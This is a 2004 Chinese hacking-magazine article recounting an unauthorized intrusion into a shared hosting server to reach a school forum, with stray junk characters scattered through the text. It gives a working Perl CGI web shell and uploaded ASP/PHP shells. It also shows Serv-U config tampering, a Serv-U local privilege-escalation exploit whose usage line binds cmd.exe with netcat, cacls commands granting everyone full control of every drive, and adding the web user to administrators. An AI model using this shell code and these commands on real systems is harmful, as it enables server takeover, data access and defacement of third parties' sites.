剑走偏锋——灵巧的旁注攻击
6 Y9 p: B5 P; j8 I! l! c本文作者:angel1 k$ w& a0 Q; y
文章性质:原创/ v1 `( I; N) R# j
发布日期:2004-11-09 ' U; ?8 M9 d* G6 Y
注意:
5 W* C" R- O7 ~$ m; n) b本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
/ x' l+ ]: k1 s' S; Q, c0 |. O本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。# \! C. L& H" P# S- g. w! X
& W8 P2 d3 E) N* F* c6 q n 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 ' z4 w) u! I- N# O+ Q$ X
- p* J# b( ~/ M# c 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
( j. x1 ]5 U T# D# i' Q
4 p; W$ Y" A" z/ k( C 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
* y# A& p5 S, `' w: }
" ~+ E/ q* m* r" o# q 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 & R X$ {2 O% ]8 {8 \7 k$ x& `
4 Q6 x0 V1 W( s+ D' v* g. j- c# e
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
: O3 v o$ k6 P1 b7 w- B |0 R6 u4 Q; c( \4 z8 o4 G( I+ v
没有目的的跳转目录着…… 3 _3 Y; i" c+ l
5 S; I; v5 g2 F# @5 D 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… 3 j' q) P6 i1 [# T; ~7 P8 p' `
2 |7 b" x- d2 A 结束了吗?不,我试着 FTP 一下:
! l1 u: g A7 T& w. W4 I+ O8 E/ I0 X: @
Microsoft Windows 2000 [Version 5.00.2195] {/ w8 W3 D* m0 j
(C) 版权所有 1985-2000 Microsoft Corp.
9 {0 t( g/ Y* m3 y$ ~/ Q2 G" ^$ U
C:\Documents and Settings\Administrator>ftp www.school.com/ Y! R% Q3 ^! N0 x9 ~/ h' v! `, ~0 x
Connected to www. school.com.
7 q/ [6 P, b* s220 Welcome to FTP Server... ; y& Y. q7 p- }; }" H
User (www.bjtrq.com:(none)):
, J* [' s- g8 M5 V9 d3 q% R% i331 User name okay, need password.
. n% j- p& e, d+ k5 g+ i3 TPassword: $ ?. X" |$ B% x: J7 \; b9 [/ Q/ |
530 Not logged in. 3 l* ~6 Z% X: `: J, x
Login failed. $ h3 t; o2 ^; W. i0 ~
ftp> bye : h5 _7 Q% i! {( N, `- N2 N
221 Goodbye!
* X4 e% D. H* \; M " t9 b$ ~7 q5 k
7 E. @) B& K' T
从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
. R1 A0 x" H4 C3 E9 u; r, ]
1 x, F% ^0 i1 \4 Y* f 原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 $ s7 x1 N3 R( Q2 T5 h D9 u
8 G$ }- x* U4 Y1 C) I
Application Data
3 S8 X/ C j0 m! c+ eDocuments% a, e% F: G. @
DRM
- t5 ]: y4 u8 C: rFavorites
: f( ]/ L# R) _' @2 w" o6 r* h$ L: aTemplates
! W9 r( K/ i$ t% }+ L「开始」菜单
! F& {0 S) g8 E+ I# [ }) C桌面. N7 k0 \, L0 z" M; X( i% g
9 h4 @- @$ D, A# U# e0 a3 ]
6 x/ D8 R4 ^ n' @" ^6 y 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, ) I6 [# C( d6 v6 s- \5 R
' }+ J% |, U" L. D3 PActiveState ActivePerl 5.8+ E/ @1 q* i; [# G0 E
Administrative Tools
3 |# p" H% W, }( E2 z5 {Deerfield.com. Z" \4 Z* K9 ~
DTemp
2 [! ~5 n( q5 v. CIPSentry
, a1 T' k' O) cMBM 5
& X1 y5 P, Q7 u& z" `5 `2 u( jNetMeter
( n3 m8 x2 k' Q: [7 m" B3 L% @Network ICE V6 {2 i8 c1 d. o) X; T) L
Persits Software AspEmail. }0 c5 [9 L) _9 B: M! [
Persits Software AspJpeg
4 \3 w$ o. h$ \8 LServ-U FTP Server6 u% N' \; G( w e' z# I; L+ l W
Symantec Client Security! `5 @ [4 t3 u$ n
Windows 优化大师
5 w" s7 R/ M1 M% mWinRAR; Q$ }6 N. P+ C2 N) c
启动8 l- b4 z) T& V# M
管理工具
4 _- i1 ?( Z- H% f. c0 F附件
( {/ U( ^ Z$ X& {# y2 q- ]' D$ M
A0 H3 b. ~# e! h f. z6 c
8 E& C9 ~9 M. `' v1 \4 ]; k. C 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。
" x, n/ k2 }6 y
: l5 w1 {& M9 a4 t& j 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: + w5 g+ U) o" r9 ?7 _0 \
4 ~6 r! @# r% P6 p! M) eUser281=angel|1|0 % u9 E$ p/ |5 y# V) A
$ e% l9 [ t* {& q* O( n$ n
. i1 |% G+ Y, a( l* ? 然后加上 0 q4 Y4 ^- W5 L# J5 N" s$ x K
3 J. `7 D" i3 m8 g/ e. s" b[USER=angel|1]6 J4 C* c4 n4 k r2 e
Password=ng98F85379EA68DBF97BAADCA99B69B805! `- R) I# \; F( J3 U
HomeDir=D:\websites: y* y) n" p; ^/ c
RelPaths=1 J' J& G" e N0 P% c
TimeOut=600: u8 y' g# ?# c' |; j" m! a
Maintenance=System1 k5 ?% F2 {$ v+ U, R. g- w" H# E
Access1=D:\websites|RWAMELCDP& v; c* u7 G% h" f5 x8 E
SKEYValues=
: u% m) N; {; x" {3 R8 g6 ` 8 R( D/ c6 t3 j, _" Z$ L* i
2 Q' O" d/ E @# d2 b 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 4 Q* H$ d8 p+ a7 o4 _; O
* K' S( L/ W3 w" B" | 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
; T0 s- f/ ~# N& ~8 d: j/ K3 l- q5 r3 x; a4 h, i
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 ) W" h0 F. X6 Z1 [+ u! K
/ N1 `& f" ]) E# Y 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 5 ~7 i# y6 p% [ j
8 K# a, N0 n, Q! `9 O. `3 \( d
#!/usr/bin/perl
5 S2 C" }( i8 ~8 h9 sbinmode(STDOUT);9 r! n6 b+ D% n
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);1 C* m3 g7 H# v9 S3 P* ^
$_ = $ENV{QUERY_STRING};& I: r: j: z6 u1 u$ l: |
s/%20/ /ig;9 c( r4 ~; B, q4 e* A" |, Z0 \
s/%2f/\//ig;
: d+ a3 E3 s% G, y0 @$execthis = $_;
$ Y4 I+ l7 t9 B1 U% qsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);( i' D4 a' h* w5 o
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
1 _0 S2 Z: Z+ o: j Zsystem($execthis);% b* o/ k3 r1 f9 t9 Y
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);$ b% ], B, _4 J: H/ v) r1 ]
close(STDERR);
$ z& k& O7 O4 {% \close(STDOUT);
& w9 A4 s# `5 ~& [exit;
: g5 L( n+ f/ `/ O7 C
) h: V; [+ h; y+ u& Q8 y+ `8 A7 k7 T- k
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ! D6 o& h7 Z8 s
% @6 l. J0 N: l$ N* _7 t
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: ! W& T& }; c$ n) |2 A* @" ~
9 G S, w7 |0 G. T& {% Khttp://anyhost//cmd.pl?d:\user\bin\su.exe $ h- y& R" Q- S% I
3 F* v- Q t) _4 z( j( w
3 J* m5 M, @# u' b4 Q' E& E; } 返回: U9 T4 a* g- M2 P
6 A c! m0 {' _- \) T! Z
Serv-u >3.x Local Exploit by xiaolu
' C! D9 k6 Q# |5 w% a9 T* a! p/ ]4 c3 |6 k$ W9 E$ N
USAGE: serv-u.exe "command"
/ ^; D1 ` _/ M5 L, T* f6 A
& j' p3 y9 \1 }$ y- I7 }Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
4 f5 |% M# p# Z% o" z6 d 9 S' I6 \4 h( @3 `7 L0 ?: Y& A
& ^3 F; Y- g$ q8 P5 a
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
+ q& z) H" X; j- o0 z# I: L/ p! S! n; O, k9 i3 |7 {' S" X. ~
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
9 s- y; k3 g& q+ b. v
+ d4 h7 U" _0 E" T7 O nhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
1 b8 a, J( ^; m8 W+ Q( Z
# I6 F& \2 z+ T) ~http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
6 H1 d+ d7 g9 U8 T4 T5 [2 y0 q$ Q5 w- t# d% @
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" & \" @+ i1 j' N* P& \9 w0 i: g6 a
! J4 ^, X* }# u4 `) h
% c$ i7 a3 u. \1 ~9 r6 D2 e/ Z
返回下面的信息,就表示成功了!!!
, u0 i9 v' K1 O: W" ]1 Z4 `9 l! z0 H' q0 t* Z' B- O0 u1 \, ~& P
Serv-u >3.x Local Exploit by xiaolu ! A. o3 c8 {/ t9 ?0 W4 T: |
/ A3 }4 K |5 r3 S! h) }
<220 Serv-U FTP Server v5.2 for WinSock ready... # z# [' B, E8 `* S7 h0 n
6 q! [6 d. L1 t! P! }3 k" a
>USER LocalAdministrator
7 A0 Z8 w D- _: V* ^* M# | X T( u1 G: x0 K
<331 User name okay, need password. ( U! n% ^* X- L) n" d1 U. D$ }
2 d# [/ R" {8 f9 `5 S K+ S4 Z, h
****************************************************** 7 a0 h" [6 O; s) \! r
0 i9 z: W) p `" w2 b3 N1 W* [
>PASS #l@$ak#.lk;0@P 3 W5 R' H7 o9 B3 R' F% E1 ]- q! ~- g
) b' H- Q) N! }: f<230 User logged in, proceed. + t6 ?6 w) e$ V1 \. D
8 e9 V3 y9 n5 C [$ H
****************************************************** * }( Z. x& L1 Y, X( Q3 M; c
1 {' i& O& ]( l2 L+ G2 ?>SITE MAINTENANCE
6 m9 j1 ?+ T8 o( o: J% i, b1 ?. W) O4 f/ K7 J9 O3 B
****************************************************** ( C) P3 r: s; X: g- B* m0 B0 Q9 J3 w
- Y* `' l" L* T4 p$ V; i2 S1 |[+] Creating New Domain... 7 D9 N2 w8 k& p+ q! H) d8 R
( h F D8 d6 s6 ]/ I, S<200-DomainID=2 " |1 g+ z! w/ g
) r: ?9 p) A9 Y; S, P* N<220 Domain settings saved
3 g1 W5 T2 `* E" v
7 N# ]! R0 h$ P5 ?. ?& ?2 Z6 w% b******************************************************
8 s' @5 i" s2 t2 g
& O/ g& f- \% p; O6 K[+] Domain xl:2 Created * s. g1 l' S% \, Y6 R9 |- w
6 \+ e- X; q1 c0 t1 E# I) R6 {
[+] Creating Evil User 1 ^! a( c d7 @/ [; y5 q
/ G' b$ ]5 c% L; }# Z0 y/ R0 U
<200-User=xl
) q; k( z. c; T& n( C
0 m$ G8 C+ I% h0 }6 D6 [7 G200 User settings saved " }( j- p: x& U4 _8 y/ h0 a0 G
8 U: E" I: g \& \# ]
****************************************************** {& n. p! C8 }9 g
2 [. P, Z: _8 {! _/ }
[+] Now Exploiting... 8 h7 ~% z D: U F$ A& x! j* R
, J& j! X$ B* Q$ e; M O
>USER xl * E- l, v8 ^' @* ]+ _
) e9 q! K6 |* m0 S<331 User name okay, need password. I( \( P* j4 T# Q- I4 ?
% |) j8 p" A. r
****************************************************** " e$ S. a% ]1 v$ h3 t
+ B) W) p1 w) u# o, d>PASS 111111
; a8 b4 a8 l5 r3 t4 Q, ~
& {) Y5 _( d8 }2 m0 T2 ]8 S<230 User logged in, proceed.
! B- N6 r) I2 B! o: _- M; f
3 M4 r( D# U# n# | P******************************************************
" i( F9 s ?% I3 T7 z* y. U9 g+ D W j1 P$ z- w6 S1 B7 q4 D9 _
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
: t9 C& ~! G5 `1 H" d3 {. d m
' E& Y ? ]% k* N/ v) X7 y<220 Domain deleted
/ {% ^( F+ R; M& Q% ?* F7 ~" o+ Q! Z/ e* _0 ?" Z
****************************************************** & L8 V8 u8 G9 y7 I
& v9 X: e% M4 c. h, Z1 S' E9 J
* q i( ~2 m' i! Y" z1 u3 `0 l
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 7 Q7 D+ h. c7 s) s3 c
. |% f% K" H1 R
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
2 o* X) E3 R8 C5 ?! p% P, x" f* N' p+ v
1 P; b, H* U4 ~! G/ M& X3 K
% O& f* A5 j2 F4 v 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
3 N$ g/ ^! V) `8 v8 v/ ] ?' C1 y0 j. v. S0 Z1 L
说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。: z. q4 s4 f2 p# m) o! \) H
" U6 _; w G# Z0 q+ U
- `6 W2 f5 |7 `; g6 q% K
|